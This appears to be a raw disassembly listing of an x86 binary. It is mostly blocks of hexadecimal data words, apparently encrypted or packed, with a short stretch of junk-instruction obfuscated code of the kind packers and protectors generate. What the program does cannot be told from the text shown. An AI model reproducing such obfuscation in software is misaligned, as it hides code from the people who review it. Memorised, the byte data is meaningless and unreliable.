0BD62FA9Fh dd 75AB81D6h, 0B1103511h, 0ABA7805Ah, 8E2C3EE6h, 0EBCECF6Bh dd 0CCE5F5CCh, 4213ABA7h, 1F3B1E35h, 9D6828A3h, 67660421h dd 6564FE27h, 65640221h, 0A5456123h, 12EA8F24h, 0E0E18DAFh dd 1B32E0A0h, 91F5E5FCh, 9103ABA7h, 6613D373h, 4560CF2Dh dd 1C96B7A5h, 75A85DF5h, 0A8958EC1h, 0B553772Fh, 7735F58Dh dd 10C0B551h, 290h, 321074ABh, 0D468BC17h, 2AEAADAAh, 0D773970Fh dd 24E396D6h, 278E7609h, 4342E001h, 413AA001h, 0B7DC5623h dd 486F0D1Fh, 8A082FAEh, 8BCDCC72h, 5B6E67FEh, 81A4A1A8h dd 0B82DC9D9h, 7FA22C5h, 5101Ch, 0D37B9C00h, 63072341h dd 0F195B3F1h, 832B4D63h, 12B4D391h, 7FE43400h, 0EACBE58h dd 9AD84AE8h, 3775E77Bh, 0D8FA6812h, 0D974627Dh, 0FA82A1A8h dd 24C36281h, 4CE328DEh, 9A1BBFDAh, 0A66F1ADAh, 0A2104E2h dd 3FCA6C88h, 0AAD370A4h, 931282ADh, 0F016B6D3h, 0E2809252h dd 8C0623C7h, 0BC37C26Ch, 67FF2599h, 0DBF7E3C2h, 9101A1A8h dd 8D2B4EE4h, 8E0FCF67h, 0D51DFFDCh, 9B1AB8D9h, 0ADDEF8D9h dd 42690D96h, 30DAFFB7h, 6C47F322h, 0B9B0AE92h, 95000001h dd 0AE5BFB19h, 3AE0052Dh, 3CDEFBBBh, 0BF80A519h, 0A180B224h dd 14D44CA7h, 0EAAE9D61h, 80401669h, 6BEA7A1h, 180E346h dd 22ADA491h, 1191D783h, 2CD99290h, 0E6F9F8B8h, 0A1A279ECh dd 0AD1AB5D0h, 3B7FE35Dh, 94702DD8h, 97CBA04Ah, 5119AEh dd 74A20000h, 0BC173210h, 0ADA49111h, 7D1D387Ah, 0E6F90488h dd 0A1A292F0h, 0D7D6960Eh, 0A2923EB4h, 33CFF6A1h, 34D6F0B2h dd 8C682BB5h, 62FA992Fh, 7FC0DAD8h, 0A2927264h, 54148CA1h dd 0B3661355h, 0AE988E07h, 4B74CA65h, 1B1572CCh, 0A2A66Eh dd 53D0000h, 441F3AE0h, 96C5427Fh, 374E3BA4h, 93B65077h dd 0A84D1D74h, 0B8BA7A1h, 0F88D2D49h, 0FAA0C5F9h, 0FC9EBBFBh dd 0AD356B6Eh, 5C79A7A1h, 97F89BBEh, 32C4CD7Dh, 357A887Dh dd 0F1D07551h, 0ADA7CFF3h, 280A51Dh, 9DD341E5h, 30C0D076h dd 0FF22C26Ch, 3831B02h, 8230000h, 94B6F466h, 224664F6h dd 0B8D09684h, 41660416h, 57A7B7A5h, 0D341E502h, 4FDD759Dh dd 0F86A0829h, 69FB9FBAh, 0E3F7CE57h dd 1DA1A8DBh, 0C362764Dh, 0E6281E24h, 882ADF07h, 0DAFC96Bh dd 24243EBh, 0D2908242h, 5A0113B7h, 0BB3AE005h, 1E3EDEFBh dd 7DA2B070h, 79183D19h, 7B3D2B47h, 5EF580DEh, 0A4BFA047h dd 0CEA17CADh, 0A1A2BF98h, 0F199BC66h, 11707131h, 0A1A2BF57h dd 0DADB779Fh, 0AF78B97Bh, 0E4A631B1h, 9819C1h, 4614B993h dd 0DA9CFC7h, 9A014928h, 47FFA1A2h, 0E53B11B2h, 99C1A0A1h dd 49A1A29Ah, 4A0A8B2Bh, 1B3EFEA6h, 0F8A6C6FCh, 5332C7F9h dd 0ABA788B4h, 1542D040h, 1F3AE005h, 10E581A7h, 52F81D51h dd 0F09ABFF7h, 0F39BBDF1h, 7F2B2F2h, 0EECCC8FFh, 0F2B8A84Bh dd 964ADD4Ch, 0CA4D24E3h, 2EADA4B8h, 0E389CD97h, 7A3A82D5h dd 0F952187Bh, 829AA1A2h, 7999DDDCh, 58F2A438h, 54148B3Fh dd 0EC48CB55h, 855C794Fh, 0CFF5A5D2h, 0D7F6B637h, 83A5A5DEh dd 356E1BDBh, 6D6317D7h, 3BDCAE98h, 0B9000000h, 0BE570362h dd 0F1A1A1A2h, 10749704h, 11BC1732h, 33ADA491h, 6B630283h dd 57A1A292h, 0D8825CB8h, 54AE988Dh, 1F9E3C5Eh, 0CD78A85Dh dd 5D000000h, 9E3BAF06h, 5DC5A1A2h, 206233A8h, 13936608h dd 765554F6h, 806E785Bh, 28E8A7A1h, 24C2E15Dh, 0A2856E01h dd 0B11E7A0Bh, 0B6F6F797h, 456003F6h, 0F98C2A49h, 7B7A2045h dd 0EE7C1E3Bh, 0A1D8B5EBh, 3EDCF9A7h, 0CF6B8E2Ch, 5C99FDCEh dd 5126F0EEh, 0D37636D1h, 0A49F69F0h, 0CAE8AAADh, 2F7A928h dd 1704168Eh, 0D3B29773h, 0ABA46F93h, 1A98BD65h, 0B5CB59FDh dd 4A51098Eh, 0CDCC6E88h, 0B9A52A8Bh, 40CADA9Ah, 0CF28C567h dd 19B0B12h, 0F00B0000h, 7C9EDC4Eh, 0A2E4CDEh, 0A0B8FE6Ch dd 294E6CFEh, 6F8F9F8Dh, 3B29CDEAh, 57C55D85h, 0C052F011h dd 71E387A2h, 0CB9FF62Fh, 35A1A8DDh, 0DE050E65h, 71942A38h dd 40425BC9h, 0F58022h, 15301074h, 74347475h, 91D3FED1h dd 1934ADA4h, 0A291D086h, 0D3762EA1h, 0A291E6F0h, 0D5A010A1h dd 0CCE8AA77h, 8E9AB2Ah, 0A1A2915Eh, 1D38F8B8h, 10E585A1h dd 91B43E51h, 0CB88A1A2h, 8F05B171h, 0A47EAE98h, 5000000h dd 65052062h, 0DD512464h, 0D39312B8h, 0B49312B4h, 0EC28B41Dh dd 4B6DBEF6h, 0BF16E3A3h, 0A7A19061h, 1002A8CDh, 12933752h dd 0AC896521h, 0A4BE0AD5h, 2D54CEADh, 94541495h, 19F59186h dd 1382A53Ch, 0EE56ABA4h, 8A2C4B4Bh, 0F66BD98h, 0ABA96B5Bh dd 6BC595ECh, 8333ABA9h, 0E04237EFh, 91B323C3h, 9E28C4C8h dd 0ABF8E3h, 0E0FB0000h, 6C8E2C3Eh, 0FA1E5CCEh, 90A8CE5Ch dd 193E7CEEh, 7F9FEF7Dh, 0B19BDDAh, 0A7B54D75h, 0D042E001h dd 41D37792h, 0DB8FE63Fh, 25A1A8DDh, 0DE051E95h, 71942A38h dd 51C5BC9h, 0FBBB3AE0h, 7F1B3EDEh, 1A7EADBFh, 0EE46193Ch dd 0C363815Bh, 0A32382C2h, 22F98CA9h, 0AA8E4943h, 0F2F3A3ADh dd 67F595B0h, 7862441h, 3CAA0520h, 0DAA1A82Eh, 0DA34AF5Ah dd 0A3E81722h, 76933E1Eh, 52046D4h, 6266465h, 255958h dd 0FE1B5B5Ah, 0DA789E5Ch, 7AD241DBh, 0A71F3ED5h, 7D16E37Fh dd 7515309Fh, 6A4C1E7h, 39C87h, 61E70000h, 3CE2051Ah, 3EDCF9BDh dd 3CD6FFBFh, 39D9F9BDh, 2 dup(39DDFAB8h), 3CE2FAB8h, 3BDBF9BDh dd 3CDEF8BAh, 2C68FABDh, 8900005Dh, 77682414h, 89000072h dd 2168241Ch, 89000078h, 6855240Ch, 5A655952h, 0C8BB535Dh dd 8156197Fh, 991DB1CBh, 8BC38116h, 0C17EC664h, 0F38107EBh dd 7D2EC604h, 0C15BDD31h, 0D5F702E5h, 2996F581h, 0EB896272h dd 0C8B545Dh, 4C48324h, 8B85052h, 89000000h, 0CA0158C2h dd 8B5A1A89h, 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h dd 2434FF5Ch, 4C4815Bh, 0E9000000h, 0FFFAE308h, 0CEB81594h dd 306095Eh, 11E0FFC5h, 5B247EF1h, 180EB097h, 1E27CA72h dd 0F689D9Fh, 0DA2AA3DCh, 836D04DCh, 3A4EC804h, 0DD290BD8h dd 0B972527Ah, 947B4309h, 415F950h, 0D95C6F71h, 5220A01Ch dd 24F8B76h, 8C1667EDh, 0DA25F373h, 0A244A287h, 0C67CDB25h dd 0B04B8319h, 0EC5AB17Bh, 3F0072A5h, 0E85B6C42h, 5, 8BFE04Dh dd 0D7B70F6Ch, 830F535Eh, 2, 815A6160h, 62FBC6h, 10E96000h dd 5D000000h, 48B13A9Fh, 7DE47179h, 0BB87C32Eh, 0B2868A5Bh dd 0C0336196h, 0B840Fh, 800F0000h, 5, 26C38166h, 63C8B85h dd 81F1E580h, 0B7ED30EFh, 0BB665353h, 81595BE3h, 858940F7h dd 0D381660Dh, 0EF81AE67h, 51F5C33Ah, 665764B6h, 8F6FF181h dd 0BB06048Fh, 4D2F5787h, 0D5DB8166h, 1E88348h, 0C502D381h dd 4848428Dh, 168C0F48h, 0E9000000h, 11h, 0A607B0Dh, 37651E4Eh dd 0FB46AC5Ah, 0F072E251h, 0B4F88183h, 0FFFFF9Dh, 0FFFF9485h dd 0EB15B6FFh, 8, 93E3EA00h, 4AAE94Eh, 8B680000h, 0E9060961h dd 0FFFA1CDDh, 961EB68h, 1CD3E906h, 4E68FFFAh, 0E9060963h dd 0FFFA1CC9h, 8EC2E3B6h, 33515A3Bh, 0AD23C8AEh, 0DDB334D8h dd 4E02A748h, 8C6D39E4h, 0FC9C6167h, 720095FBh, 0DFB61B49h dd 0AFEB8ADEh, 591029Bh, 2DCE7E71h, 2CBC452Ah, 5B09AE41h dd 2743612Ch, 12085503h, 7414C375h, 0BC82FACh, 1347FD71h dd 6A29FF05h, 2F9F893h, 0EE7B0000h, 0EB8C611Ah, 0B2DD6AC6h dd 0F8AE7A34h, 0B6751208h, 10CA8423h, 0BC19F38h, 0F24E1D71h dd 68A344DAh, 9AF2A5A4h, 7839F78Ah, 0EE992682h, 5BFCB6F0h dd 95D2D74h, 0E6C6A279h, 79ABDB90h, 0B65E2FE9h, 1A325731h dd 79A9BF81h, 0B58C68FFh, 7601A626h, 6136F380h, 1D9BCD58h dd 0A9BF940Dh, 967DE879h, 0A3DB6F0Bh, 1D77ACE7h, 0BA5D304Eh dd 53365335h, 3BD3BBCh, 4C6A8B62h, 7AB3FB8Bh, 0B05E6B35h dd 0CD86DB69h, 74189491h, 0D6E90EE1h, 1DB9754Dh, 0ED61FC8Ch dd 0A1000002h, 2ABF2DD2h, 592CA049h, 0CB5E32B7h, 7BCE8223h dd 0F57F6D96h, 767B1C4Ah, 0CAEB8F12h, 58613386h, 29CEA134h dd 8C9C1ABBh, 71059013h, 0F024C769h, 0FF4B6785h, 7507D071h dd 0EF7E38AFh, 1EE3E10Ah, 0E87A379h, 72710591h, 0A87018E7h dd 0A5CCF9B8h, 1352533Ah, 1F296710h, 8DD00DDDh, 0C1000002h dd 4ADF8D32h, 0F94C00A9h, 6BFE9217h, 9B6E6283h, 159FCDF6h dd 0D6DBBCEAh, 0AA4B2FB2h, 38C15326h, 892EC154h, 2CFCBADBh dd 71058FB3h, 0F0846709h, 0FF4B6785h, 7507D071h, 505525C8h dd 7E6EFDD4h, 59039D6h, 549F771h, 63EE0913h, 1ADC693h dd 0D1B40000h, 0B92CBC41h, 432A40C3h, 0B0472AA2h, 632E590Fh dd 0B6582D45h, 51F9B70Dh, 7512007Bh, 0B84A45Eh, 71710BE1h dd 0A0370EEAh, 6D966706h, 0B22FF797h, 7E710BE0h, 829A9EC2h dd 21936A3Eh, 0D84AC367h, 23B6710Bh, 4B5745h, 0F0E00000h dd 0FB94B485h, 41770EF0h, 65678C62h, 700E9560h, 0F0F992B6h dd 9047770Eh, 3CCE5A14h, 0B27511FFh, 79D18B27h, 710BDFE0h dd 5B33895Ch, 0BE016B3h, 0FA2E1271h, 6A40E6FEh, 0CAE193h dd 1DD70000h, 0BD3940Dh, 877DE871h, 0A2432A0Ch, 9B2472Ah dd 9A1BF25Fh, 0BE8A44F2h, 770EF025h, 5C61349Bh, 7F167BF1h dd 0F2AC6A7Eh, 0EF0BD56h, 0D8540377h, 0EF501F0h, 0A1751877h dd 78194C1Ch, 8D24C043h, 3D502C77h, 0C6959F5Ah, 37C45DEDh dd 0AD38770Eh, 0B19EFA0Ch, 3EF8A62Ah, 0E6371EAh, 9C18CF77h dd 2C4A6813h, 0BFF0D1Ch, 1A540375h, 4F1DA64Bh, 861415FAh dd 2ADF967Dh, 0AFE0DAD8h, 12A02DFh, 95640000h, 0CE97C10h dd 7A1CE1E7h, 0E68E1371h, 593E83C1h, 87B63C50h, 0D7B53ED3h dd 5B09AE42h, 0C99F24F6h, 786C9164h, 50C96159h, 0AC71058Dh dd 452A5F1Ch, 0E04802BCh, 770EF067h, 9617FED5h, 74D9AD0Bh dd 0B481CA1h, 2AA2432Ah, 590FB047h, 2D45632Eh, 0F9FE9273h dd 0AB9A2B03h, 43167511h, 0FB44627h, 0C37CC25Dh, 73506875h dd 944E08E4h, 1D9B20F1h, 4E02A748h, 0B2521BEh, 8315F871h dd 0FD7B6E7Eh, 0C6E005E8h, 25A33C0Ch, 0C555710Bh, 0FE7AE120h dd 497207EAh, 8EC21Fh, 1710000h, 8A668B6Ch, 6D9E523Dh dd 0DA73D784h, 26770E79h, 3292EEB3h, 18304ED5h, 7507A38Eh dd 753138Ch, 0DBA970B2h, 0DEB11C4Ch, 4F268BD9h, 9A7D10AEh dd 9A167315h, 0D12E2AF2h, 4CE0386Fh, 0EAF4618h, 9F20F75Ah dd 0BC6D02E3h, 0F04CDBDCh, 5C613598h, 9B24322h, 8B357A68h dd 0AE0A1D61h, 4B9F95DEh, 1F5B5C33h, 0A400A94Eh, 7C8556C0h dd 0B039DF26h, 79EC8DD8h, 91F47028h, 72EFF9FEh, 0Ch, 82579344h dd 188AEBEh, 800328ABh, 26A6472Ah, 5933B45Bh, 0CB9D26F4h dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h dd 4008B142h, 5854500Bh, 405h, 4E88300h, 5C240487h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], esi mov esi, 6B8C5762h mov edi, 9A7D093Ah add edi, esi pop esi push 24F0h mov [esp], esp add dword ptr [esp], 4 pop edx push ebx mov ebx, 8 add ebx, edx mov [ebx], edi mov ebx, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_5439D9 ; --------------------------------------------------------------------------- dd 424068A6h, 9649DB8h, 0FFC50306h, 677CD4E0h, 60E3B40h dd 4FABA150h, 0A09DE147h, 3DCCF079h, 0F7919836h, 0A9CECF3Fh dd 0C83C7A5Eh, 38BFD85Bh, 7630F141h, 48BE73Ch, 0CAC2270h dd 0A51D4210h, 0D09C2355h, 638D8D50h, 6A060966h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0DC9BC352h, 46AF8FE2h, 0D18D8934h, 6A060331h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8BB3C356h, 31965B5h, 0E185C706h, 40060301h, 6A000069h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 891BC357h, 31FB5BDh, 0BD85C706h, 60321h dd 60000000h, 8166CE8Bh, 614F53D0h, 21ADB5FFh, 6A0603h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0C881E1C3h, 7D919EDEh, 6820Fh, 0B58B0000h, 603262Dh dd 2AF9BD89h, 95FF0603h, 6032691h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 61C35141h, 0BD8B3C99h, 6030621h dd 95FF006Ah, 6031FB9h, 6BEBC08Bh, 0EF7D573Ah, 1B1CDCDDh dd 0A522B05Ch, 4D4106Ch, 0B7A1F999h, 20E5D647h, 0AF54332Dh dd 9911BB35h, 74129B8Ch, 6F84B8F3h, 0CC5B254Dh, 0B2641AC4h dd 47791659h, 2B81178h, 0B89B42EAh, 0C96B469Ch, 1F776120h dd 0C0FA0E47h, 9C74C576h, 9A678062h, 0CC4D7454h, 0F858E496h dd 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 0F9C3081Ch, 8D2A5B1Bh dd 9677D8Dh, 0DBBE6606h, 0EE9E2h, 0D6DD0000h, 183391D3h dd 5F6FE686h, 706EF0E7h, 31D18D89h, 85C70603h, 60301E1h dd 7078h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 35C35242h, 8EBE6687h, 0BD85C7C7h, 60321h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 8F41C352h, 27D83014h, 0FFE5B65Dh, 321ADB5h dd 7DBE6606h, 0CE9C6h, 0DC370000h, 0EC218E7Eh, 952C20DEh dd 95FF951Fh, 6032691h, 1CE1B58Bh, 6A0603h, 1FB995FFh dd 0C08B0603h, 259A6BEBh, 0DE33AF62h, 770B773Dh, 0DF31FA99h dd 3969E907h, 2F0BCF0Fh, 19834F15h, 4CB2490Ch, 8C6F9DC3h dd 3FC3691h, 0A4658D07h, 7C76390Eh, 4A6CB790h, 302E584Ah dd 342DD352h, 6AD730Dh, 11FD0733h, 0A93F90Bh, 1191C19Fh dd 3B00397h, 626023DBh, 0C065E11Ch, 2BD81EBh, 0D5602C7Dh dd 0B0BA8614h, 87506430h, 40F87EBEh, 758D8DB2h, 6A060968h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0BFFAC355h, 6CDCB6AAh, 31D18D89h, 6A0603h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 85C7D9C3h, 60301E1h, 65E0h, 6B36D5B8h, 89BD893Bh, 0C706030Fh dd 321BD85h, 6, 0B5FFF500h, 6031CF1h, 359B589h, 95FF0603h dd 6032691h, 1E45BD8Bh, 6A0603h, 1FB995FFh, 0C08B0603h dd 9CD00DEBh, 4FBD1CFEh, 1D11B79Bh, 0E8FBD894h, 0Bh, 664B11BDh dd 0F983054h, 80792734h, 235945DEh, 30A0D95h, 0FDC18106h dd 81000064h, 0BC01BCF0h, 0E9DB2B21h, 5, 0CE8C565Dh, 193C8BFFh dd 2959958Bh, 0F7810603h, 338A2F19h, 4E0F781h, 958B4F20h dd 6031F51h, 528BF781h, 0C78A001Eh, 60193C89h, 0C58D8B60h dd 89060325h, 3252DBDh, 8B666106h, 858B61D6h, 6032349h dd 8004EB83h, 0FB8196E4h, 0FFFF9BB8h, 21850Fh, 8F0F0000h dd 6, 1399529h, 2AE90603h, 0B2000000h, 0C5332C16h, 93845CAFh dd 87D124E7h, 29942729h, 32279B5h, 0FF83E906h, 0E63FFFFh dd 0B200D03Eh, 9CEA1C7Dh, 5FF3A918h, 10E89Bh, 98080000h dd 74837C77h, 44D550A2h, 849FA793h, 958B55B4h, 6030AA1h dd 81CF8B5Fh, 73CFC7h, 31958B00h, 2B060312h, 8BE88AF6h dd 8B663704h, 0BCF081D3h, 0E940E4F5h, 0Ch, 0EDDA9997h dd 5D69D55Fh, 1BF24695h, 7F92F081h, 0BF0F26D2h, 0AEC081CEh dd 66633201h, 5029AAB9h, 898D3160h, 0E9060321h, 0Ch, 4D94F02Dh dd 102EF86Ch, 0BF467806h, 37048F61h, 9518D8Bh, 0BE90603h dd 9D000000h, 1572D9E4h, 5804B534h, 0EE83A798h, 81C8B704h dd 0FF8D30FEh, 14850FFFh, 60000000h, 2D21BD8Bh, 0E9610603h dd 59h, 0A00E6D7Ah, 0E8EAD44Eh, 0Eh, 0E5EFF549h, 0A5B75FFFh dd 988F15EFh, 13E87254h, 0F000000h, 739F6C9Ah, 0DFC88E27h dd 0B78CF5D4h, 0F0958F48h, 0FE8C52Ch, 0 dd 0F79F508Ch, 4CCCE34Ah, 0E2279755h, 5A5AE278h, 0FF31E95Bh dd 66D6FFFFh, 41217D89h, 0F4AFAD72h, 0EA8D8D49h, 6A06096Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 4CF6C351h, 8D29C3C7h, 6033055h, 31D18D89h dd 0DF8B0603h, 0C7FAB70Fh, 301E185h, 6C5C06h, 14E800h dd 0D630000h, 0D4BF5C38h, 2955A615h, 0D5D921A5h, 1416E03h dd 8B6693E9h, 85C75FFBh, 60321BDh, 0 dd 1BC58529h, 0B5FF0603h, 60323C5h, 12E9h, 23FE2D00h, 0D9259B15h dd 0BFF2E2D1h, 0EC56FDEAh, 0FFA836A5h, 3269195h, 0E5B52906h dd 6A060320h, 0B995FF00h, 8B06031Fh, 2B39EBC0h, 421E3578h dd 49B0A9C7h, 50D327FEh, 0D97E01DCh, 8C27D1C4h, 0A11E3249h dd 663CC5EEh, 0E55A3607h, 9500E97Ch, 747E228Bh, 14A014FFh dd 0F6EC19A3h, 0A48CC1Fh, 0B2C51CA6h, 6BB88D8Dh, 0BD890609h dd 60320B9h, 31D18D89h, 0BA660603h, 85C76715h, 60301E1h dd 7370h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 94C35141h, 858B62DBh, 603263Dh, 21BD85C7h, 603h dd 81660000h, 0FF3042F6h, 321D9B5h, 0EEBB6606h, 9195FF96h dd 0E8060326h, 14h, 0E916C959h, 482FA86Ah, 0BEA89317h dd 96847119h, 8678E8Ch, 6840Fh, 0BD310000h, 6031BCDh, 0FF006A5Bh dd 31FB995h, 0EBC08B06h, 1AA72809h, 700D0B65h, 8D8D4082h dd 6096C61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0BC35545h, 0FBE2D070h, 9D237DFDh, 6030F49h, 31D18D89h dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 315148C3h, 89C44364h, 324559Dh, 0E185C706h dd 0C060301h, 8100006Eh, 484418C3h, 0BD85C75Bh, 60321h dd 8B000000h, 3094995h, 15B5FF06h, 0FF06031Ah, 3269195h dd 8B666006h, 28B0FF0h, 60000000h, 6A6161h, 1FB995FFh dd 0C08B0603h, 0C7C37AEBh, 2631C300h, 0F9E9775Bh, 69C902D1h dd 5B778DD9h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh dd 0A2F76793h, 59E36D41h, 2E0ED305h, 686069CEh, 1BC158Ah dd 0ACAA6D5Eh, 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h, 200F4401h dd 19812F37h, 0D4437422h, 0EAA99109h, 0FA049F27h, 0E3AFD2FEh dd 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h dd 8BDE1955h, 9F683B7Dh, 0AE8h, 485BA100h, 9829FE73h, 0F9F74DEh dd 680h, 0A1858B00h, 59060312h, 11E8h, 0EC692200h, 9A8A7766h dd 0AF730799h, 19D9DD1Ah, 0E8516C8Ah, 0Fh, 0F8570F31h dd 23AEFCF3h, 0FF788505h, 5F814748h, 0C1815F58h, 6EDBh dd 32621FB8h, 973CBA06h, 0C28120C8h, 0DF37843Ch, 0F9D858Bh dd 31FF0603h, 14E8h, 0BD775F00h, 0C72390E8h, 0AE60FF20h dd 0C568D17Fh, 0BE0A3076h, 5E58F90Bh, 81DBB70Fh, 0C9780EF6h dd 39BD3343h, 81060324h, 51E142F6h, 0D7D88002h, 68D7EE81h dd 830F5358h, 6, 32359D33h, 9560603h, 31F7D8Dh, 66018F06h dd 20AADB81h, 8903E983h, 308C59Dh, 89604906h, 3061985h dd 99B86606h, 0EA8361D6h, 15850F01h, 8B000000h, 3197585h dd 1EE906h, 29860000h, 0AC62D0F0h, 415853AEh, 0FFFF71E9h dd 767AB5FFh, 27DD303Fh, 1157AEC8h, 264592BDh, 7E8h, 67A18900h dd 0CB58AD25h, 5BCBB70Fh, 0E1B58960h, 0E806032Eh, 0Ch dd 921B2A3Bh, 4608C923h, 0BCACD8CFh, 24CD9589h, 615F0603h dd 6494C381h, 840F0000h, 12h, 0DE9h, 13C71C00h, 36F01F0Ah dd 2548ED0Dh, 69B8FE28h, 81490918h, 0F7008FC0h, 0CE8B6h dd 0A8170000h, 0A0572732h, 0BCC7DFF1h, 9D29CADBh, 6033175h dd 81338B5Ah, 0A532D4F1h, 4F68158h, 0B9565E1Dh, 10D9C31h dd 0A065F681h, 0E2810854h, 3B97AB1Ah, 0FDB5F681h, 9D8934B6h dd 6030B3Dh, 0F7816656h, 38F8968h, 83CAB70Fh, 0B52904EBh dd 6032DB1h, 0BA850F48h, 89FFFFFFh, 329398Dh, 0BE8D8D06h dd 0F06096Fh, 8D89C1B7h, 60331D1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0CC35545h, 0A62018FDh, 28A0F0Ah dd 8A000000h, 0E185C7D5h, 0F0060301h, 6A00005Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0CDCFC355h, 0FF980036h, 13E96AA8h, 0E4000000h, 0C7033C10h dd 5927DC0h, 0CFCB095Eh, 0A9A5A197h, 85C731A6h, 60321BDh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7C35646h dd 0C794F209h, 0E80C17DBh, 11h, 0DDCCE273h, 48E7A7ABh dd 56BB54DFh, 578211E2h, 0DDB58995h, 5F060321h, 0BE8h dd 5721FB00h, 7BD01F2Ah, 0C9E027C5h, 5AFFB70Fh, 13E9B5FFh dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 60FB07C3h, 0EABE668Ah, 9195FF7Dh, 0F060326h dd 685h, 0F5958B00h, 6A060312h, 0B995FF00h, 8B06031Fh dd 651EEBC0h, 0EF31AA70h, 33B36461h, 0FA566302h, 9D3CCA78h dd 77F0C6E2h, 3A957964h, 547C9AFFh, 9E806h, 0C8CB0000h dd 0FB487312h, 59BA42C3h, 210D9589h, 0C1810603h, 609Ch dd 0CE9h, 0FE2EBE00h, 0AEB917BEh, 5A6B99F6h, 180068F8h dd 0B70F0000h, 0BA6658F0h, 31FF3183h, 39B53352h, 5F060301h dd 8D9D295Bh, 81060323h, 73825BC3h, 0C5D68134h, 8155F5D5h dd 0C55339F3h, 14E967h, 6C9F0000h, 4F6C2A72h, 398E86F0h dd 23C802F6h, 0A34B7C7Fh, 0F381D906h, 17C0BDF9h, 89D1BF0Fh dd 7810F19h, 50000000h, 0AAC24CBFh, 0E9835A71h, 65B58904h dd 83060313h, 850F01E8h, 0FFFFFF9Ah, 1BC1952Bh, 0EE80603h dd 8E000000h, 770E3A3Ah, 0A13EC1A2h, 604A628Eh, 8D8B6003h dd 6032979h, 0EF805E61h, 0DAC681ADh, 0E800006Dh, 0Ah, 0C4BEADDBh dd 0EEE1F73Ch, 10E8E205h, 0DD000000h, 8C7BA9D0h, 0F82A467Dh dd 2B4E014Ch, 0F5E27EE8h, 47B95A5Bh, 0F00001Bh, 3E8BD2BFh dd 6830Fh, 958B0000h, 6031BB5h, 439CEF81h, 9D8B0844h, 6031005h dd 0DD50F781h, 953365A7h, 6030ACDh, 260FF781h, 958B7139h dd 603267Dh, 0B1858B57h, 8F060323h, 83DA8B06h, 0BD8903EEh dd 6030385h, 14E84Eh, 0AF7E0000h, 5BFF01BFh, 743141FEh dd 427F89A8h, 0AF3E079Eh, 8B6639FFh, 0E9835BC3h, 93850F01h dd 89FFFFFFh, 313BDBDh, 13E806h, 69CC0000h, 8DD8E6h, 8546AE49h dd 0B04D103Bh, 0CEBA1C6Dh, 68D681BDh, 5F0756FEh, 0C781C78Bh dd 6FAEh, 1AE5958Bh, 4CB90603h, 8149169Eh, 0E97D70C1h dd 0AD8D89B6h, 8B060323h, 0D6EB811Fh, 815C0F0Dh, 8DBD46EBh dd 0BDBA5139h, 5805EF07h, 0B6FDF381h, 95311B9Fh, 6032025h dd 93D88153h, 8F329E77h, 0E6816607h, 0EF8131FEh, 40548275h dd 8271C781h, 858B4054h, 6030349h, 1E981h, 850F0000h, 0FFFFFFB3h dd 68A0F60h, 8B000000h, 32D2985h, 10E806h, 48750000h, 0AAA30FDDh dd 0A0637402h, 8D71404Dh, 12E8DD1Fh, 1F000000h, 9CA73AADh dd 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 615E5842h, 0A234AC42h dd 0A27C2406h, 3BB37D7Ah, 80330D73h, 83B42A21h, 6F302590h dd 863025DDh, 91A598A7h, 89302311h, 8630AD8Dh, 238DA684h dd 8636266Ah, 864BA12Eh, 3F62590h, 80330A71h, 8634CD6Ah dd 51702512h, 0D608D4Bh, 0D3401C0h, 0A274AC42h, 33CF7D25h dd 80333205h, 0F58CA0C5h, 56CF2322h, 3F6D599h, 80330A30h dd 6A8C4DCAh, 82B14F6Dh, 94DAA105h, 2385DAAEh, 0B362660h dd 804399A1h, 0DE0DA14h, 86209CF1h, 8ED92584h, 20302542h dd 863EA02Eh, 8D792590h, 76B52A81h, 6FCFDADBh, 8630251Fh dd 0CB2CB884h, 83882387h, 79302542h, 928DA8C2h, 0B362CE2h dd 8F42FEC5h, 0A3229D22h, 491BA322h, 0A234AC42h, 0A27C2406h dd 3BB37D7Ah, 80330D73h, 83B42A21h, 6F302590h, 863025DDh dd 83A598A7h, 0A4F305E9h, 22B9h, 0CE800h, 0F2090000h, 17DBC794h dd 7BF80F0Ch, 0BF0F456Dh, 85295EC1h, 60301E5h, 5A88C681h dd 85890000h, 6030265h, 167A68h, 5AF88A00h, 8B36FFF8h dd 32AD1BDh, 0F1815906h, 547D4240h, 1E2DBD03h, 0F1810603h dd 54204EB7h, 9CE981F5h, 29390462h, 32C31BDh, 8B665106h 